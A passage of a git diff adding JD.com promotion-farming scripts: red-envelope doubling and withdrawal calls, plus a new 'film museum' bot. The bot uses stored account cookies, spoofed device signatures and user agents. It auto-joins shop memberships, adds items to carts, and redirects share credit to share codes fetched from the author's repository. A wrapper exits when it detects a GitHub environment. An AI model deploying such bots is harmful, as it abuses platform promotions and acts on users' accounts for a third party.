+ return new Promise(async (resolve) => { + let options = taskPostUrl(functionid, `{"linkId":"${$.linkid}"}`) + if (type) { + options = taskPostUrl(functionid, `{"linkId":"${$.linkid}","rewardType":${type}}`) + } + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + data = JSON.parse(data); + if (data.code === 0 && data.data) { + if (functionid != "gambleObtainReward") { + $.reward = data.data + if(data.data.rewardValue>money){$.canOpen=false} + if (data.data.rewardState === 3) { + console.log("翻倍失败啦...") + $.message += `当前:${data.data.rewardValue} 翻倍失败啦` + $.canDraw = false + } else if (data.data.rewardState === 1) { + console.log("翻倍成功啦") + console.log("当前红包:" + data.data.rewardValue + "翻倍次数:" + data.data.changeTimes) + } else { + console.log(data.data) + console.log(`状态 ${data.data.rewardState} 还不知道是什么原因嗷`) + } + } else { + console.log(data) + } + + + } else { + $.canDraw = false + console.log(data.errMsg) + $.message += data.errMsg + "\n" + } + } + resolve(data.data) + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + + +function Draw(id, poolBaseId, prizeGroupId, prizeBaseId, prizeType) { + return new Promise(async (resolve) => { + let options = taskPostUrl("apCashWithDraw", `{"businessSource":"GAMBLE","base":{"id":${id},"business":"redEnvelopeDouble","poolBaseId":${poolBaseId},"prizeGroupId":${prizeGroupId},"prizeBaseId":${prizeBaseId},"prizeType":${prizeType}},"linkId":"${$.linkid}"}`) + // console.log(options) + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + // console.log(data) + data = JSON.parse(data); + if (data.code === 0 && data.data && data.data.message) { + console.log("提现结果:" + data.data.message) + $.drawresult = "提现结果:" + data.data.message + "\n" + } else { + console.log(data) + $.drawresult = "提现结果:" + JSON.stringify(data) + "\n" + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + + + +function taskUrl(function_id, body) { + return { + url: `${JD_API_HOST}/?functionId=${function_id}&body=${encodeURIComponent(body)}&t=${Date.now()}&appid=activities_platform&clientVersion=3.5.6`, + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + "Host": "api.m.jd.com", + "Referer": "https://618redpacket.jd.com/?activityId=DA4SkG7NXupA9sksI00L0g&channel=wjicon&sid=0a1ec8fa2455796af69028f8410996aw&un_area=1_2803_2829_0", + "Cookie": cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + } + } +} + + +function taskPostUrl(functionid, body) { + return { + url: `${JD_API_HOST}/`, + body: `functionId=${functionid}&body=${encodeURIComponent(body)}&t=${Date.now()}&appid=activities_platform&clientVersion=3.5.6`, + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + "Host": "api.m.jd.com", + "Referer": "https://618redpacket.jd.com/?activityId=DA4SkG7NXupA9sksI00L0g&channel=wjicon&sid=0a1ec8fa2455796af69028f8410996aw&un_area=1_2803_2829_0", + "Cookie": cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + } + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/backUp/jd_film_museum.js b/backUp/jd_film_museum.js new file mode 100644 index 0000000..15faef0 --- /dev/null +++ b/backUp/jd_film_museum.js @@ -0,0 +1,482 @@ +/* +动人影像馆 +抽奖貌似没水了,累计签到有豆子,5天25豆,10天50豆,14天100豆 应该能拿到 +注意*****************脚本会开一个会员卡,会加购,会助力作者******************** +///cron 23 15 13-26 9 * +///https://raw.githubusercontent.com/star261/jd/main/scripts/jd_film_museum.js +* */ +const $ = new Env('影像馆'); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +let cookiesArr = []; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; +} else { + cookiesArr = [ + $.getdata("CookieJD"), + $.getdata("CookieJD2"), + ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); +} +!(async () => { + if(Date.now() > 1632672000000){ + console.log(`活动已结束`); + return ; + } + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + let res = []; + try{res = await getAuthorShareCode('https://raw.githubusercontent.com/star261/jd/main/code/museum.json');}catch (e) {} + if(!res){ + try{res = await getAuthorShareCode('https://gitee.com/star267/share-code/raw/master/museum.json');}catch (e) {} + if(!res){res = [];} + } + if(res.length === 0){ + $.shareUuid = ''; + }else{ + $.shareUuid = getRandomArrayElements(res,1)[0]; + } + for (let i = 0; i < cookiesArr.length; i++) { + getUA(); + $.index = i + 1; + $.cookie = cookiesArr[i]; + $.isLogin = true; + $.nickName = ''; + await TotalBean(); + $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + console.log(`\n*****开始【京东账号${$.index}】${$.nickName || $.UserName}*****\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + $.shareUuid = ''; + await main(); + } +})().catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') +}).finally(() => { + $.done(); +}); + +async function main() { + $.token = ``; + $.apptoken = ``; + await getToken(); + if ($.token === ``) {console.log(`获取token失败`);return;} + console.log(`获取token成功`); + await getHtml(); + let apptokenInfo = await takePost('getAppTokenByJDToken',`jdtoken=${$.token}&shareuid=${$.shareUuid}`); + if(apptokenInfo && apptokenInfo.apptoken){ + $.apptoken = apptokenInfo.apptoken; + }else{ + console.log(`获取apptoken失败`);return; + } + console.log(`获取apptoken成功`); + await $.wait(500); + let typeList = ['lotteryCount','lotteryHistory','isFollow','isViewVR','isJoin','lotteryPublicShow','globalLotteryHistory','getLiveShowUrl']; + $.activityInfo = {}; + for (let i = 0; i < typeList.length; i++) { + $.activityInfo[typeList[i]] = await takeGet(typeList[i]); + await $.wait(100); + } + if(!$.activityInfo.lotteryCount.cuponcode){ + let cuponcodeInfo = await takeGet('getCuponCode'); + console.log(`获得活动抽奖码:${cuponcodeInfo.cuponcode}`); + await $.wait(2000); + }else{ + console.log(`活动抽奖码:${$.activityInfo.lotteryCount.cuponcode}`); + } + if($.activityInfo.isJoin.status === '0' && $.shareUuid){ + await join('1000085868'); + await $.wait(1000); + for (let i = 0; i < typeList.length; i++) { + $.activityInfo[typeList[i]] = await takeGet(typeList[i]); + await $.wait(100); + } + } + await $.wait(2000); + await doTask(); + let lotteryCountInfo = await takeGet('lotteryCount'); + let count = lotteryCountInfo.count; + console.log(`可抽奖:${count}次`); + for (let i = 0; i < count; i++) { + console.log(`\n进行第${i+1}次抽奖`) + let lotteryInfo = await takeGet('doLottery'); + console.log(JSON.stringify(lotteryInfo)); + await $.wait(2000); + } +} + +async function takePost(type,body) { + let url = `https://xm.bjsidao.com/${type}`; + let info = { + url: url, + body:body, + headers: { + "Host": "xm.bjsidao.com", + "Accept": "*/*", + "Content-Type":"application/x-www-form-urlencoded", + "Origin":"https://jmkj2-isv.isvjcloud.com", + "Referer": "https://jmkj2-isv.isvjcloud.com/", + "apptoken":$.apptoken, + "User-Agent": $.UA, + "Accept-Language": "zh-cn", + "Accept-Encoding": "gzip, deflate, br", + } + } + return new Promise(resolve => { + $.post(info, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if(data.data === null){ + data.data = {}; + } + data.data.message = data.message; + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data.data); + } + }) + }) +} + +async function takeGet(type) { + let url = `https://xm.bjsidao.com/${type}`; + let info = { + url: url, + headers: { + "Host": "xm.bjsidao.com", + "Accept": "*/*", + "Content-Type":"application/x-www-form-urlencoded", + "Origin":"https://jmkj2-isv.isvjcloud.com", + "Referer": "https://jmkj2-isv.isvjcloud.com/", + "apptoken":$.apptoken, + "User-Agent": $.UA, + "Accept-Language": "zh-cn", + "Accept-Encoding": "gzip, deflate, br", + } + } + return new Promise(resolve => { + $.get(info, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if(data.data === null){ + data.data = {}; + } + data.data.message = data.message; + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data.data); + } + }) + }) +} + +async function doTask(){ + console.log(`执行签到任务`); + let returnInfo = await takeGet('checkIn'); + console.log(`签到:${returnInfo.message}`); + await $.wait(2000); + if($.activityInfo.isFollow.status === '0'){ + console.log(`执行关注任务`); + let info = await takeGet('followShop'); + console.log(`关注:${info.message}`); + await $.wait(2000); + } + if($.activityInfo.isViewVR.status === '0'){ + console.log(`执行VR任务`); + let info = await takeGet('viewVR'); + console.log(`VR:${info.message}`); + await $.wait(2000); + } + console.log(`进入直播间任务`); + returnInfo = await takeGet('viewLiveShow'); + console.log(`进入直播间:${returnInfo.message}`); + await $.wait(2000); + let itemList = ['100025643312','100025643292','100025678746']; + for (let i = 0; i < itemList.length; i++) { + console.log(`浏览:${itemList[i]}`); + returnInfo = await takePost('viewProduct',`sku=${itemList[i]}`); + console.log(`浏览:${returnInfo.message}`); + await $.wait(2000); + } + for (let i = 0; i < itemList.length; i++) { + console.log(`加购:${itemList[i]}`); + returnInfo = await takePost('addToCart',`num=1&itemId=${itemList[i]}`); + console.log(`加购:${returnInfo.message}`); + await $.wait(2000); + } + let shareTime = 0; + let runTime = 0; + do { + console.log(`执行分享`); + shareTime ++; + returnInfo = await takeGet('shareCount'); + shareTime = returnInfo.shareCount; + await $.wait(1000); + returnInfo = await takeGet('shareReport'); + shareTime = returnInfo.shareCount; + await $.wait(2000); + console.log(`已分享:${shareTime}次`); + runTime++; + }while (shareTime < 5 && runTime < 5) + +} +function getHtml() { + let config ={ + url:`https://jmkj2-isv.isvjcloud.com//jd/index.html?vtype=share&uid=${$.shareUuid}`, + headers: { + 'Host':'jmkj2-isv.isvjcloud.com', + 'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', + 'Cookie': `IsvToken=${$.token};${$.cookie}`, + "User-Agent": $.UA, + 'Accept-Language':'zh-cn', + 'Accept-Encoding':'gzip, deflate, br', + 'Connection':'keep-alive' + } + } + return new Promise(resolve => { + $.get(config, (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +async function join(venderId) { + return new Promise(async resolve => { + $.shopactivityId = '' + await $.wait(1000) + await getshopactivityId(venderId) + $.get(ruhui(`${venderId}`), async (err, resp, data) => { + try { + // console.log(data) + data = JSON.parse(data); + if(data.success == true){ + $.log(data.message) + if(data.result && data.result.giftInfo){ + for(let i of data.result.giftInfo.giftList){ + console.log(`入会获得:${i.discountString}${i.prizeName}${i.secondLineDesc}`) + } + } + }else if(data.success == false){ + $.log(data.message) + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +async function getshopactivityId(venderId) { + return new Promise(resolve => { + $.get(shopactivityId(`${venderId}`), async (err, resp, data) => { + try { + data = JSON.parse(data); + if(data.success == true){ + console.log(`入会:${data.result.shopMemberCardInfo.venderCardName || ''}`) + $.shopactivityId = data.result.interestsRuleList && data.result.interestsRuleList[0] && data.result.interestsRuleList[0].interestsInfo && data.result.interestsRuleList[0].interestsInfo.activityId || '' + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function ruhui(functionId) { + let activityId = `` + if($.shopactivityId) activityId = `,"activityId":${$.shopactivityId}` + return { + url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=bindWithVender&body={"venderId":"${functionId}","shopId":"${functionId}","bindByVerifyCodeFlag":1,"registerExtend":{},"writeChildFlag":0${activityId},"channel":401}&client=H5&clientVersion=9.2.0&uuid=88888`, + headers: { + 'Content-Type': 'text/plain; Charset=UTF-8', + 'Origin': 'https://api.m.jd.com', + 'Host': 'api.m.jd.com', + 'accept': '*/*', + 'User-Agent': $.UA, + 'content-type': 'application/x-www-form-urlencoded', + 'Referer': `https://shopmember.m.jd.com/shopcard/?venderId=${functionId}&shopId=${functionId}&venderType=5&channel=401&returnUrl=https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/832865?activityId=c225ad5922cf4ac8b4a68fd37f486088&shareUuid=${$.shareUuid}`, + 'Cookie': $.cookie + } + } +} +function shopactivityId(functionId) { + return { + url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=getShopOpenCardInfo&body=%7B%22venderId%22%3A%22${functionId}%22%2C%22channel%22%3A401%7D&client=H5&clientVersion=9.2.0&uuid=88888`, + headers: { + 'Content-Type': 'text/plain; Charset=UTF-8', + 'Origin': 'https://api.m.jd.com', + 'Host': 'api.m.jd.com', + 'accept': '*/*', + 'User-Agent': $.UA, + 'content-type': 'application/x-www-form-urlencoded', + 'Referer': `https://shopmember.m.jd.com/shopcard/?venderId=${functionId}&shopId=${functionId}&venderType=5&channel=401&returnUrl=https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/832865?activityId=c225ad5922cf4ac8b4a68fd37f486088&shareUuid=${$.shareUuid}`, + 'Cookie': $.cookie + } + } +} +function getToken() { + let config = { + url: 'https://api.m.jd.com/client.action?functionId=isvObfuscator', + body: `area=2_2830_51828_0&body=%7B%22url%22%3A%22https%3A%5C/%5C/jmkj2-isv.isvjcloud.com%5C/%5C/jd%5C/index.html?vtype%3Dshare%26uid%3D1319%26lng%3D121.330575%26lat%3D31.292041%26sid%3Dd68167971a0380420a29f9072a7c491w%26un_area%3D2_2830_51828_0%22%2C%22id%22%3A%22%22%7D&build=167814&client=apple&clientVersion=10.1.4&d_brand=apple&d_model=iPhone9%2C2&eid=eidI42470115RDhDRjM1NjktODdGQi00RQ%3D%3DB3mSBu%2BcGp7WhKUUyye8/kqi1lxzA3Dv6a89ttwC7YFdT6JFByyAtAfO0TOmN9G2os20ud7RosfkMq80&isBackground=N&joycious=93&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=5a8a5743a5d2a4110a8ed396bb047471ea120c6a&osVersion=14.6&partner=apple&rfs=0000&scope=01&screen=1242%2A2208&sign=e1e6d76b164dd52cab8f0dcec61faa76&st=1631528316464&sv=100`, + headers: { + 'Host': 'api.m.jd.com', + 'accept': '*/*', + 'user-agent': 'JD4iPhone/167490 (iPhone; iOS 14.2; Scale/3.00)', + 'accept-language': 'zh-Hans-JP;q=1, en-JP;q=0.9, zh-Hant-TW;q=0.8, ja-JP;q=0.7, en-US;q=0.6', + 'content-type': 'application/x-www-form-urlencoded', + 'Cookie': $.cookie + } + } + return new Promise(resolve => { + $.post(config, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + $.token = data['token'] + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function getUA(){ + $.UA = `jdapp;iPhone;10.0.10;14.3;${randomString(40)};network/wifi;model/iPhone12,1;addressid/4199175193;appBuild/167741;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1` +} +function randomString(e) { + e = e || 32; + let t = "abcdef0123456789", a = t.length, n = ""; + for (i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": $.cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function getRandomArrayElements(arr, count) { + var shuffled = arr.slice(0), i = arr.length, min = i - count, temp, index; + while (i-- > min) { + index = Math.floor((i + 1) * Math.random()); + temp = shuffled[index]; + shuffled[index] = shuffled[i]; + shuffled[i] = temp; + } + return shuffled.slice(min); +} +function getAuthorShareCode(url) { + return new Promise(async resolve => { + const options = { + "url": `${url}`, + "timeout": 10000, + "headers": { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }; + if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { + const tunnel = require("tunnel"); + const agent = { + https: tunnel.httpsOverHttp({ + proxy: { + host: process.env.TG_PROXY_HOST, + port: process.env.TG_PROXY_PORT * 1 + } + }) + } + Object.assign(options, { agent }) + } + $.get(options, async (err, resp, data) => { + try { + if (err) { + } else { + if (data) data = JSON.parse(data) + } + } catch (e) { + // $.logErr(e, resp) + } finally { + resolve(data || []); + } + }) + await $.wait(10000) + resolve(); + }) +} +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let 